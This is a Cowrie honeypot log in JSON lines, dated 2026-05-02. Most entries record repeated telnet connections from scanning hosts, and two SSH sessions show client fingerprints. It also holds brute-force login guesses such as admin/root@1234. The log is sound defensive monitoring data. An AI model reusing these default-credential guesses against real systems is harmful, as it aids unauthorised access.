{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48758,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58057279137","protocol":"telnet","message":"New connection: 38.60.198.128:48758 (159.203.135.109:23) [session: e58057279137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:07:58.958542Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51656,"dst_ip":"159.203.135.109","dst_port":23,"session":"750945e5e715","protocol":"telnet","message":"New connection: 38.60.198.128:51656 (159.203.135.109:23) [session: 750945e5e715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:02.101124Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52976,"dst_ip":"159.203.135.109","dst_port":23,"session":"be68ab2a21be","protocol":"telnet","message":"New connection: 38.60.198.128:52976 (159.203.135.109:23) [session: be68ab2a21be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:02.305845Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59570,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc62c2bc0c5c","protocol":"telnet","message":"New connection: 38.60.198.128:59570 (159.203.135.109:23) [session: bc62c2bc0c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:08.144112Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60798,"dst_ip":"159.203.135.109","dst_port":23,"session":"64664bf71b98","protocol":"telnet","message":"New connection: 38.60.198.128:60798 (159.203.135.109:23) [session: 64664bf71b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:09.161977Z"}
{"eventid":"cowrie.session.closed","duration":64.51418423652649,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:09.663932Z","src_ip":"38.60.198.128","session":"dd8f894f044d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6398032d337b","protocol":"telnet","message":"New connection: 38.60.198.128:34708 (159.203.135.109:23) [session: 6398032d337b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:10.914635Z"}
{"eventid":"cowrie.session.closed","duration":39.41447687149048,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:11.861012Z","src_ip":"38.60.198.128","session":"37308399796b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.265371322631836,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:16.336572Z","src_ip":"38.60.198.128","session":"124880dab1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42762,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc6e592fcc9","protocol":"telnet","message":"New connection: 38.60.198.128:42762 (159.203.135.109:23) [session: ddc6e592fcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:16.677701Z"}
{"eventid":"cowrie.session.closed","duration":43.62932085990906,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:17.178533Z","src_ip":"38.60.198.128","session":"5492b99ef3c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49284,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c37b74594b4","protocol":"telnet","message":"New connection: 38.60.198.128:49284 (159.203.135.109:23) [session: 5c37b74594b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:20.553937Z"}
{"eventid":"cowrie.session.closed","duration":35.127456188201904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:23.181156Z","src_ip":"38.60.198.128","session":"8b300807e14f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5973c7b326ca","protocol":"telnet","message":"New connection: 38.54.119.93:37966 (10.17.0.5:23) [session: 5973c7b326ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:26.945112Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58876,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce059c64e2fd","protocol":"telnet","message":"New connection: 38.60.198.128:58876 (159.203.135.109:23) [session: ce059c64e2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:27.443620Z"}
{"eventid":"cowrie.session.closed","duration":44.97026491165161,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:28.827447Z","src_ip":"38.60.198.128","session":"f7a8b10eb7ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60630,"dst_ip":"159.203.135.109","dst_port":23,"session":"5851d9218a99","protocol":"telnet","message":"New connection: 38.60.198.128:60630 (159.203.135.109:23) [session: 5851d9218a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:29.514106Z"}
{"eventid":"cowrie.session.closed","duration":36.39175748825073,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:29.633112Z","src_ip":"38.60.198.128","session":"f8fa011d337b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60622,"dst_ip":"159.203.135.109","dst_port":23,"session":"c23b123fce12","protocol":"telnet","message":"New connection: 38.60.198.128:60622 (159.203.135.109:23) [session: c23b123fce12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:31.522072Z"}
{"eventid":"cowrie.session.closed","duration":4.706974029541016,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:31.651980Z","src_ip":"38.54.119.93","session":"5973c7b326ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b0c74889bf","protocol":"telnet","message":"New connection: 38.60.198.128:38486 (159.203.135.109:23) [session: e3b0c74889bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:32.619685Z"}
{"eventid":"cowrie.session.closed","duration":37.741103649139404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:33.334416Z","src_ip":"38.60.198.128","session":"ff04e704c844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40362,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6146f0f37d","protocol":"telnet","message":"New connection: 38.60.198.128:40362 (159.203.135.109:23) [session: af6146f0f37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:34.675675Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c68af099b03f","protocol":"telnet","message":"New connection: 38.60.198.128:41594 (159.203.135.109:23) [session: c68af099b03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:35.598353Z"}
{"eventid":"cowrie.session.closed","duration":36.775673389434814,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:35.734094Z","src_ip":"38.60.198.128","session":"e58057279137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.99902033805847,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:37.829494Z","src_ip":"38.60.198.128","session":"5309ca1db50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":34214,"dst_ip":"159.203.135.109","dst_port":22,"session":"6323a7aef068","protocol":"ssh","message":"New connection: 198.98.56.205:34214 (159.203.135.109:22) [session: 6323a7aef068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:40.126547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:40.131063Z","src_ip":"198.98.56.205","session":"6323a7aef068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:40.135231Z","src_ip":"198.98.56.205","session":"6323a7aef068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"r00tr00t","message":"login attempt [user/r00tr00t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:40.189344Z","src_ip":"198.98.56.205","session":"6323a7aef068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:41.198654Z","src_ip":"198.98.56.205","session":"6323a7aef068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.768776416778564,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:42.869819Z","src_ip":"38.60.198.128","session":"750945e5e715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.291428089141846,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:43.597163Z","src_ip":"38.60.198.128","session":"be68ab2a21be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.368820667266846,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:44.530712Z","src_ip":"38.60.198.128","session":"64664bf71b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53852,"dst_ip":"159.203.135.109","dst_port":23,"session":"80c148f89af7","protocol":"telnet","message":"New connection: 38.60.198.128:53852 (159.203.135.109:23) [session: 80c148f89af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:46.160341Z"}
{"eventid":"cowrie.session.closed","duration":38.478559255599976,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:46.622558Z","src_ip":"38.60.198.128","session":"bc62c2bc0c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34550,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a6f6c36cf5f","protocol":"telnet","message":"New connection: 38.60.198.128:34550 (159.203.135.109:23) [session: 7a6f6c36cf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:49.326324Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35142,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef11576b5df5","protocol":"telnet","message":"New connection: 38.60.198.128:35142 (159.203.135.109:23) [session: ef11576b5df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:49.844181Z"}
{"eventid":"cowrie.session.closed","duration":34.0569212436676,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:50.734500Z","src_ip":"38.60.198.128","session":"ddc6e592fcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96820378303528,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:08:50.882738Z","src_ip":"38.60.198.128","session":"6398032d337b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.18201208114624,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:00.735866Z","src_ip":"38.60.198.128","session":"5c37b74594b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50068,"dst_ip":"159.203.135.109","dst_port":23,"session":"b892951f9459","protocol":"telnet","message":"New connection: 38.60.198.128:50068 (159.203.135.109:23) [session: b892951f9459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:01.762285Z"}
{"eventid":"cowrie.session.closed","duration":35.334452867507935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:04.848466Z","src_ip":"38.60.198.128","session":"5851d9218a99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.974119663238525,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:05.417651Z","src_ip":"38.60.198.128","session":"ce059c64e2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.157.238.18","src_port":37182,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fdbcbb10077","protocol":"telnet","message":"New connection: 177.157.238.18:37182 (10.17.0.5:23) [session: 1fdbcbb10077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:07.372735Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59920,"dst_ip":"159.203.135.109","dst_port":23,"session":"4991ac21e8e0","protocol":"telnet","message":"New connection: 38.60.198.128:59920 (159.203.135.109:23) [session: 4991ac21e8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:09.086175Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34082,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b19ddbd992","protocol":"telnet","message":"New connection: 38.60.198.128:34082 (159.203.135.109:23) [session: c1b19ddbd992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:11.129332Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35166,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03b9cd5ab46","protocol":"telnet","message":"New connection: 38.60.198.128:35166 (159.203.135.109:23) [session: b03b9cd5ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:12.067297Z"}
{"eventid":"cowrie.session.closed","duration":38.0540132522583,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:12.729511Z","src_ip":"38.60.198.128","session":"af6146f0f37d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36350,"dst_ip":"159.203.135.109","dst_port":23,"session":"0429cd65940f","protocol":"telnet","message":"New connection: 38.60.198.128:36350 (159.203.135.109:23) [session: 0429cd65940f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:14.491173Z"}
{"eventid":"cowrie.session.closed","duration":40.04467844963074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:15.642920Z","src_ip":"38.60.198.128","session":"c68af099b03f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.95667505264282,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:16.576268Z","src_ip":"38.60.198.128","session":"e3b0c74889bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":39432,"dst_ip":"10.17.0.5","dst_port":23,"session":"128ea7d5b7e6","protocol":"telnet","message":"New connection: 45.81.23.16:39432 (10.17.0.5:23) [session: 128ea7d5b7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:19.636460Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":39440,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebe2975a229","protocol":"telnet","message":"New connection: 45.81.23.16:39440 (10.17.0.5:23) [session: 8ebe2975a229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:19.711995Z"}
{"eventid":"cowrie.session.closed","duration":50.71247839927673,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:22.234469Z","src_ip":"38.60.198.128","session":"c23b123fce12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.689873695373535,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:27.326197Z","src_ip":"45.81.23.16","session":"128ea7d5b7e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.510334491729736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:28.354337Z","src_ip":"38.60.198.128","session":"ef11576b5df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.199948787689209,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:29.911755Z","src_ip":"45.81.23.16","session":"8ebe2975a229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.16355538368225,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:30.323766Z","src_ip":"38.60.198.128","session":"80c148f89af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":42434,"dst_ip":"159.203.135.109","dst_port":23,"session":"17155a176d4f","protocol":"telnet","message":"New connection: 192.211.53.160:42434 (159.203.135.109:23) [session: 17155a176d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:30.941645Z"}
{"eventid":"cowrie.session.closed","duration":42.96785831451416,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.294065Z","src_ip":"38.60.198.128","session":"7a6f6c36cf5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":60130,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f047f9e83a","protocol":"ssh","message":"New connection: 198.98.56.205:60130 (159.203.135.109:22) [session: d6f047f9e83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.516059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.520415Z","src_ip":"198.98.56.205","session":"d6f047f9e83a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.525060Z","src_ip":"198.98.56.205","session":"d6f047f9e83a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@1234","message":"login attempt [admin/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.578477Z","src_ip":"198.98.56.205","session":"d6f047f9e83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55526,"dst_ip":"159.203.135.109","dst_port":23,"session":"17f9d7dd820f","protocol":"telnet","message":"New connection: 38.60.198.128:55526 (159.203.135.109:23) [session: 17f9d7dd820f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:32.812560Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:33.586487Z","src_ip":"198.98.56.205","session":"d6f047f9e83a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":56876,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f6976524e7","protocol":"telnet","message":"New connection: 197.97.45.41:56876 (159.203.135.109:23) [session: 21f6976524e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:38.148804Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60246,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4609651f19","protocol":"telnet","message":"New connection: 38.60.198.128:60246 (159.203.135.109:23) [session: 7f4609651f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:38.346215Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.97.45.41","src_port":57050,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ebb019a12c2","protocol":"telnet","message":"New connection: 197.97.45.41:57050 (159.203.135.109:23) [session: 9ebb019a12c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:39.335641Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35436,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b27cc37bc5f","protocol":"telnet","message":"New connection: 38.60.198.128:35436 (159.203.135.109:23) [session: 1b27cc37bc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:40.543787Z"}
{"eventid":"cowrie.session.closed","duration":46.03491163253784,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:09:47.797068Z","src_ip":"38.60.198.128","session":"b892951f9459","protocol":"telnet"}
